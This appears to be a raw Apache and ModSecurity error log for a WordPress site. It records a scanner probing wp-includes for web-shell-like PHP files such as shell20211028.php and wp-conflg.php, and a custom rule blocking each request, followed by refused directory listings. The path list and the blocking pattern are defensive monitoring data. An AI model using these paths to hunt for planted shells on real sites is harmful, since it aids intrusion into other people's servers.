[Wed Feb 11 19:44:00.692585 2026] [:error] [pid 22537:tid 22556] [client 194.5.82.27:41317] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aYxrgCfg2TagwM3bvQP1gQAAAVE"]
[Wed Feb 11 19:44:09.476756 2026] [:error] [pid 27964:tid 27992] [client 194.5.82.40:52979] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aYxricp0XgWYHLcQtEjV4QAAABE"]
[Wed Feb 11 19:44:10.476172 2026] [:error] [pid 27966:tid 28036] [client 194.5.82.28:22045] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aYxril8HJ9ydyf0SPu6wRQAAAIY"]
[Wed Feb 11 19:44:11.374739 2026] [:error] [pid 27966:tid 28035] [client 194.5.82.47:47473] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aYxri18HJ9ydyf0SPu6wRwAAAIU"]
[Wed Feb 11 19:44:46.466638 2026] [:error] [pid 28073:tid 28089] [client 194.5.82.12:35239] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aYxrroeHYIlOlF-DsMzN5QAAAM4"]
[Wed Feb 11 19:44:50.764598 2026] [:error] [pid 27966:tid 28049] [client 194.5.82.35:51503] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aYxrsl8HJ9ydyf0SPu6weAAAAJM"]
[Wed Feb 11 19:44:55.079970 2026] [:error] [pid 22570:tid 22612] [client 194.5.82.11:36111] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aYxrtyE5uSe043FXwQpsTAAAAcw"]
[Wed Feb 11 19:44:58.273922 2026] [:error] [pid 27964:tid 27982] [client 194.5.82.50:64703] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aYxrusp0XgWYHLcQtEjWBgAAAAc"]
[Wed Feb 11 19:45:10.971832 2026] [:error] [pid 22569:tid 22586] [client 194.5.82.53:23583] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/about.php"] [unique_id "aYxrxsAhSI7iX9G3engstAAAAY0"]
[Wed Feb 11 19:45:27.068029 2026] [:error] [pid 22570:tid 22608] [client 194.5.82.16:23017] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aYxr1yE5uSe043FXwQpsgwAAAcg"]
[Wed Feb 11 19:45:39.174759 2026] [:error] [pid 27966:tid 28050] [client 194.5.82.46:39977] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aYxr418HJ9ydyf0SPu6wvgAAAJQ"]
[Wed Feb 11 19:45:54.987024 2026] [:error] [pid 17401:tid 17427] [client 194.5.82.40:50649] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aYxr8g0lHeayTY40t35jIQAAARg"]
[Wed Feb 11 19:46:12.181736 2026] [:error] [pid 27965:tid 28023] [client 194.5.82.9:38713] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aYxsBNHLAUAIo8qpZyFaUgAAAFQ"]
[Wed Feb 11 19:46:21.273635 2026] [:error] [pid 22569:tid 22574] [client 194.5.82.23:28477] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/test1.php"] [unique_id "aYxsDcAhSI7iX9G3engtAQAAAYE"]
[Wed Feb 11 19:46:54.481516 2026] [:error] [pid 27966:tid 28041] [client 194.5.82.40:20737] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/layout.php"] [unique_id "aYxsLl8HJ9ydyf0SPu6xCAAAAIs"]
[Wed Feb 11 19:46:55.968591 2026] [:error] [pid 27964:tid 27989] [client 194.5.82.4:32837] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aYxsL8p0XgWYHLcQtEjWkAAAAA4"]
[Wed Feb 11 19:46:59.576098 2026] [:error] [pid 28073:tid 28094] [client 194.5.82.22:21097] [client 194.5.82.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aYxsM4eHYIlOlF-DsMzOwAAAANM"]
[Wed Feb 11 19:47:03.891739 2026] [:error] [pid 28073:tid 28076] [client 194.5.82.53:45659] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aYxsN4eHYIlOlF-DsMzOzQAAAME"]
[Wed Feb 11 19:47:16.091743 2026] [:error] [pid 27966:tid 28048] [client 194.5.82.16:40105] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aYxsRF8HJ9ydyf0SPu6xHQAAAJI"]
[Wed Feb 11 19:47:20.269153 2026] [:error] [pid 28073:tid 28079] [client 194.5.82.165:29327] [client 194.5.82.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/generated-classname.php"] [unique_id "aYxsSIeHYIlOlF-DsMzO4gAAAMQ"]
[Wed Feb 11 19:47:43.977124 2026] [:error] [pid 22537:tid 22545] [client 194.5.82.30:27311] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/dashboard.php"] [unique_id "aYxsXyfg2TagwM3bvQP2UwAAAUY"]
[Wed Feb 11 19:47:52.070997 2026] [proxy_fcgi:error] [pid 27966:tid 28031] [client 194.5.82.26:36535] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:47:57.785882 2026] [proxy_fcgi:error] [pid 27966:tid 28044] [client 194.5.82.26:36535] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:48:12.681023 2026] [:error] [pid 27966:tid 28047] [client 194.5.82.26:36535] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/chosen.php"] [unique_id "aYxsfF8HJ9ydyf0SPu6xqQAAAJE"]
[Wed Feb 11 19:48:16.784456 2026] [:error] [pid 22569:tid 22580] [client 194.5.82.5:55791] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/bala.php"] [unique_id "aYxsgMAhSI7iX9G3engtdAAAAYc"]
[Wed Feb 11 19:48:17.881699 2026] [:error] [pid 17401:tid 17405] [client 194.5.82.9:31153] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aYxsgQ0lHeayTY40t35jrQAAAQI"]
[Wed Feb 11 19:48:31.909327 2026] [:error] [pid 22569:tid 22591] [client 194.5.82.34:39433] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aYxsj8AhSI7iX9G3engtigAAAZI"]
[Wed Feb 11 19:48:34.681651 2026] [:error] [pid 27964:tid 27999] [client 194.5.82.12:54965] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aYxsksp0XgWYHLcQtEjXAgAAABg"]
[Wed Feb 11 19:48:35.458680 2026] [:error] [pid 22570:tid 22614] [client 194.5.82.49:29333] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-load.php"] [unique_id "aYxskyE5uSe043FXwQptCgAAAc4"]
[Wed Feb 11 19:48:48.770413 2026] [:error] [pid 22537:tid 22539] [client 194.5.82.25:27603] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aYxsoCfg2TagwM3bvQP2hwAAAUA"]
[Wed Feb 11 19:48:51.682510 2026] [proxy_fcgi:error] [pid 27964:tid 27999] [client 194.5.82.34:34829] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:49:06.587667 2026] [:error] [pid 27964:tid 27977] [client 194.5.82.34:34829] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/about.php"] [unique_id "aYxsssp0XgWYHLcQtEjXKAAAAAI"]
[Wed Feb 11 19:49:16.990577 2026] [:error] [pid 22569:tid 22584] [client 194.5.82.12:38869] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Proxy/HTTP.term.php"] [unique_id "aYxsvMAhSI7iX9G3engtxQAAAYs"]
[Wed Feb 11 19:49:25.590614 2026] [:error] [pid 28073:tid 28076] [client 194.5.82.7:57709] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/utils.php"] [unique_id "aYxsxYeHYIlOlF-DsMzPlwAAAME"]
[Wed Feb 11 19:49:40.981805 2026] [:error] [pid 27965:tid 28026] [client 194.5.82.45:33949] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/db-update.php"] [unique_id "aYxs1NHLAUAIo8qpZyFbGQAAAFc"]
[Wed Feb 11 19:49:52.486563 2026] [:error] [pid 22537:tid 22547] [client 194.5.82.26:48207] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/ini_db_model.php"] [unique_id "aYxs4Cfg2TagwM3bvQP2wwAAAUg"]
[Wed Feb 11 19:50:08.067842 2026] [:error] [pid 22570:tid 22606] [client 194.5.82.40:25453] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/sx.php"] [unique_id "aYxs8CE5uSe043FXwQptYQAAAcY"]
[Wed Feb 11 19:50:40.479148 2026] [autoindex:error] [pid 22570:tid 22616] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:44.686899 2026] [autoindex:error] [pid 22570:tid 22614] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:44.792295 2026] [autoindex:error] [pid 22570:tid 22600] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:48.980741 2026] [autoindex:error] [pid 22570:tid 22607] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:49.088694 2026] [autoindex:error] [pid 22570:tid 22615] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:49.375284 2026] [autoindex:error] [pid 22570:tid 22614] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:49.487563 2026] [autoindex:error] [pid 22570:tid 22600] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:51.495832 2026] [autoindex:error] [pid 22570:tid 22605] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:51.597756 2026] [autoindex:error] [pid 22570:tid 22620] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:53.691157 2026] [autoindex:error] [pid 22570:tid 22616] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:53.790654 2026] [autoindex:error] [pid 22570:tid 22612] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:55.688185 2026] [autoindex:error] [pid 22570:tid 22623] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:55.792419 2026] [autoindex:error] [pid 22570:tid 22621] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:55.889903 2026] [autoindex:error] [pid 22570:tid 22624] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:55.994402 2026] [autoindex:error] [pid 22570:tid 22610] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:58.096222 2026] [autoindex:error] [pid 22570:tid 22615] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:58.197566 2026] [autoindex:error] [pid 22570:tid 22622] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:50:58.297202 2026] [autoindex:error] [pid 22570:tid 22614] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:02.180448 2026] [autoindex:error] [pid 22570:tid 22612] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
